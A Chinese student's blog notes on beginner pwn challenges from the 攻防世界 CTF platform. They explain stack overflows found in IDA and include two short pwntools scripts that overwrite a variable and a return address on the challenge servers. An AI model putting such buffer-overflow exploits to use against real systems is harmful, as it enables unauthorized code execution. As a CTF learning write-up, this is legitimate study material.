攻防世界PWN刷题笔记(引导模式)1-3

感谢组长和其他高手让我入门学pwn,个人感觉做题和看课程应该一块推进,光看课程,容易疲乏,而且缺乏经验。只做题,学的知识缺乏体系,因此决定立志每天看课+做题(先保证不挂科的前提下),逆向我也觉得应该这样搞。

1.get_shell

直接nc连接后cat flag即可,不过多讲述。

2.hello_pwn

不写脚本思路

先用IDA分析main函数。

其中read函数第一个参数0表示从键盘中读取数据,因此就是输入。 我们点击n,看看内存布局是什么。其实在这里就可以怀疑这道题是栈溢出了。

通过观察看到,n和goal相差4的字节。 每一个0x1就是一个字节。我们通过read输入了大于4字节的东西,多的就会"溢出"跑到goal的地址,从而篡改goal的内容。我们尝试不编写脚本,直接输入看看。需要注意一个字符占1字节,我们需要先输入4个字符

没有效果。这是因为我们输入的数字多占了好多字节。汇编语言对goal使用dd定义,也就是4个字节。4个字节对应4个字符,所以我们需要考虑把数字转换为4个字符才可。在IDA中,大于等于两字节的数据的存储方式和我们的阅读习惯相反。IDA将数字转为字符是nuaa,(大于2字节,是小端序,所以我们需要将其转换为aaun才可,与我们阅读习惯相反)

大家看,成功了,下面用nc连接靶机正常输入就可以了。

写脚本思路

用pwntools写脚本,一是锻炼自己的能力,二是顺手给自己增加自信。但是py脚本我并不擅长,只是摸着石头过河。

python 复制代码
from pwn import *#首先引入pwntool库
p=remote('61.147.171.105',52789)#链接靶机
payload=b'a'*4+p32(1853186401)#构造payloacd,首先填充4字节无意义数据,再用p32把目标数字转换为4字节来修改指定变量的值
p.sendline(payload)#发送paylaod
p.interactive()

最终会在终端输出flag。

3.level0

checksec发现没有栈保护。

这个函数会在main函数结束后执行。main函数return的就是这个函数的调用结果。这个函数执行的时候明显会调用read函数。调用read函数,明显这里应该存在溢出。

但是发现函数的地址一直在低地址,这些函数都在高地址,怎么实现高地址对低地址的控制?好烦!查看writeup吧。

发现还是对栈溢出理解不到位。

这应该是栈帧视图。观察read函数上的buf字符数组,其长度为 80.它的下面还有s和r,r肯定保存着返回地址,s应该是保存的寄存器内容。我们只需要利用栈溢出,修改r的内容。s的长度是8.据此写出payload。具体的解释看下图,我们填满了函数自己的栈,溢出的内容覆盖了r.

我们看这个函数的汇编语言。在call read之前,肯定已经将下一个指令的地址储存在栈顶部了。我们的read函数会多让我们输入字节。我们只要填满buf字符数组.

payload:

python 复制代码
from pwn import *#首先引入pwntool库
p=remote(' 61.147.171.105',55683)#链接靶机
payload=b'a'*0x88+p64(0x400596)#构造payloacd,首先填充88字节,因为64位,再用p64覆盖地址
#需要注意是16进制,我用10进制没打通,估计需要进制转换
p.sendline(payload)#发送paylaod
p.interactive()#一会儿输入命令用

直接出现flag了。

4.level2

不知道为啥level2竟然比level1做出来的的人还多。现在开始尝试做这一道题。题目提示面向返回,估计八成还是栈溢出。

----------------------待更新---------------------------------------------------------------------

相关推荐
莫奈的日出2 小时前
PS等软件学习笔记
笔记·学习·ps/pr学习笔记
codists2 小时前
《计算机组成及汇编语言原理》阅读笔记:p121-p122
笔记·编程人·计算机组成及汇编语言原理
汇能感知3 小时前
光谱相机与普通相机的区别
经验分享·笔记·科技·相机
_im.m.z10 小时前
【设计模式学习笔记】1. 设计模式概述
笔记·学习·设计模式
胡西风_foxww11 小时前
【ES6复习笔记】迭代器(10)
前端·笔记·迭代器·es6·iterator
左漫在成长13 小时前
王佩丰24节Excel学习笔记——第十九讲:Indirect函数
笔记·学习·excel
纪伊路上盛名在13 小时前
Max AI prompt1
笔记·学习·学习方法
Suwg20913 小时前
【MySQL】踩坑笔记——保存带有换行符等特殊字符的数据,需要进行转义保存
数据库·笔记·mysql
胡西风_foxww14 小时前
【ES6复习笔记】对象方法扩展(17)
前端·笔记·es6·对象·方法·扩展·对象方法扩展
左漫在成长14 小时前
王佩丰24节Excel学习笔记——第十八讲:Lookup和数组
笔记·学习·excel